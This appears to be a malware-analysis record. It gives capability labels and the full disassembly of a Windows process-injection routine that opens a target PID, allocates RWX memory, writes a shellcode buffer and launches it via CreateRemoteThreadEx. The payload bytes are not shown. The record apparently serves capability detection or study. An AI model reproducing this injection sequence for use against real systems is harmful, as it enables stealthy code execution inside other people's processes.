Function at 0x401550
Capabilities:
Allocate or change rwx memory
Create thread
Execute shellcode via indirect call
Inject thread
Spawn thread to rwx shellcode

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x50
mov dword [rbp + 0x10], ecx
mov qword [rbp + 0x18], rdx
call sym.__main
lea rcx, str._nCREATOR_Naveen_William_n_n
call main
cmp dword [rbp + 0x10], 1
jg 0x401596
mov rax, qword [0x00408030]
mov rdx, rax
lea rcx, str._s_usage:_inject.exe__PID_
call main
mov eax, 1
jmp 0x4018f9
mov rax, qword [rbp + 0x18]
add rax, 8
mov rax, qword [rax]
mov rcx, rax
call sym.atoi
mov dword [0x0040c034], eax
mov edx, dword [0x0040c034]
mov rax, qword [0x00408028]
mov r8d, edx
mov rdx, rax
lea rcx, str._s_Trying_to_open_a_handle_to_the_process___ld__n
call main
mov eax, dword [0x0040c034]
mov r8d, eax
mov edx, 0
mov ecx, 0x1f0fff
mov rax, qword [sym.imp.KERNEL32.dll_OpenProcess]
call rax
mov qword [0x0040c038], rax
mov rax, qword [0x0040c038]
test rax, rax
jne 0x401634
mov rax, qword [sym.imp.KERNEL32.dll_GetLastError]
call rax
mov ecx, eax
mov edx, dword [0x0040c034]
mov rax, qword [0x00408030]
mov r9d, ecx
mov r8d, edx
mov rdx, rax
lea rcx, str._s_couldnt_get_a_handle_to_the_process___ld___error:__ld_n
call main
mov eax, 1
jmp 0x4018f9
mov rdx, qword [0x0040c038]
mov rax, qword [0x00408020]
mov r8, rdx
mov rdx, rax
lea rcx, str._s_Got_handle_to_process______0x_p_n
call main
mov rax, qword [0x0040c038]
mov dword [rsp + 0x20], 0x40
mov r9d, 0x3000
mov r8d, 0x232
mov edx, 0
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
call rax
mov qword [0x0040c048], rax
mov rax, qword [0x00408020]
mov r8d, 0x232
mov rdx, rax
lea rcx, str._s_Allocated__zu_bytes_with_rwx_permissions__n
call main
mov rdx, qword [0x0040c048]
mov rax, qword [0x0040c038]
mov qword [rsp + 0x20], 0
mov r9d, 0x232
lea r8, [0x00408040]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
call rax
mov dword [rbp - 4], eax
cmp dword [rbp - 4], 1
jne 0x401766
mov rax, qword [0x00408020]
mov r8d, 0x232
mov rdx, rax
lea rcx, str._s_wrote__zu_bytes_to_process_memory_n
call main
mov rax, qword [0x0040c048]
mov rcx, rax
mov rax, qword [0x0040c038]
lea rdx, [0x0040c030]
mov qword [rsp + 0x38], rdx
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov qword [rsp + 0x20], 0
mov r9, rcx
mov r8d, 0
mov edx, 0
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CreateRemoteThreadEx]
call rax
mov qword [0x0040c040], rax
mov rax, qword [0x0040c040]
test rax, rax
jne 0x401819
jmp 0x4017b2
mov rax, qword [0x00408030]
mov r8d, 0x232
mov rdx, rax
lea rcx, str._s_Failed_to_write__zu_bytes_into_process_memory__
call main
mov rdx, qword [0x0040c048]
mov rax, qword [0x0040c038]
mov r9d, 0x8000
mov r8d, 0x232
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_VirtualFreeEx]
call rax
mov eax, 1
jmp 0x4018f9
mov rax, qword [sym.imp.KERNEL32.dll_GetLastError]
call rax
mov edx, eax
mov rax, qword [0x00408030]
mov r8d, edx
mov rdx, rax
lea rcx, str._sfailed_to_get_a_handle_to_the_thread__error:__ld
call main
mov rdx, qword [0x0040c048]
mov rax, qword [0x0040c038]
mov r9d, 0x8000
mov r8d, 0x232
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_VirtualFreeEx]
call rax
mov rax, qword [0x0040c038]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CloseHandle]
call rax
mov eax, 1
jmp 0x4018f9
mov edx, dword [0x0040c030]
mov rax, qword [0x00408020]
mov r8d, edx
mov rdx, rax
lea rcx, str._s_got_a_handle_to_the_thread___ld______0x_p_n
call main
mov rax, qword [0x00408020]
mov rdx, rax
lea rcx, str._s_Starting_process_thread__n
call main
mov rax, qword [0x0040c040]
mov edx, 0xffffffff
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
call rax
mov rax, qword [0x00408020]
mov rdx, rax
lea rcx, str._s_Thread_finished_executing__n
call main
mov rax, qword [0x00408020]
mov rdx, rax
lea rcx, str._s_Cleaning_up__n
call main
mov rdx, qword [0x0040c048]
mov rax, qword [0x0040c038]
mov r9d, 0x8000
mov r8d, 0x232
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_VirtualFreeEx]
call rax
mov rax, qword [0x0040c040]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CloseHandle]
call rax
mov rax, qword [0x0040c038]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CloseHandle]
call rax
mov rax, qword [0x00408020]
mov rdx, rax
lea rcx, str._s_Injection_Finished_Successfully_:__n
call main
mov eax, 0
add rsp, 0x50
pop rbp
ret